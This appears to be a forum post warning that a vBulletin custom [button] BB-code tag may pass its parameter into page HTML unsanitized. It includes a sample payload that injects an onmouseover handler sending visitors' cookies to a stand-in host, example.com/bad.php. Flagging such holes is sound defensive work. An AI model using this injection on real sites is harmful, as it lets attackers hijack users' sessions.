I don't know whether or not vBulletin cleans the {param} value, but it looks at first glance like anything can be injected into the HTML of the page through the first tag.
e.g. [button=" onmouseover="window.location.href='http://www.example.com/bad.php?cookies=' + document.cookie"]Click me so I can steal your cookies![/button] would make a button which, when focused on with the mouse, would redirect the user to a site which steals their cookies.
I may be wrong though...
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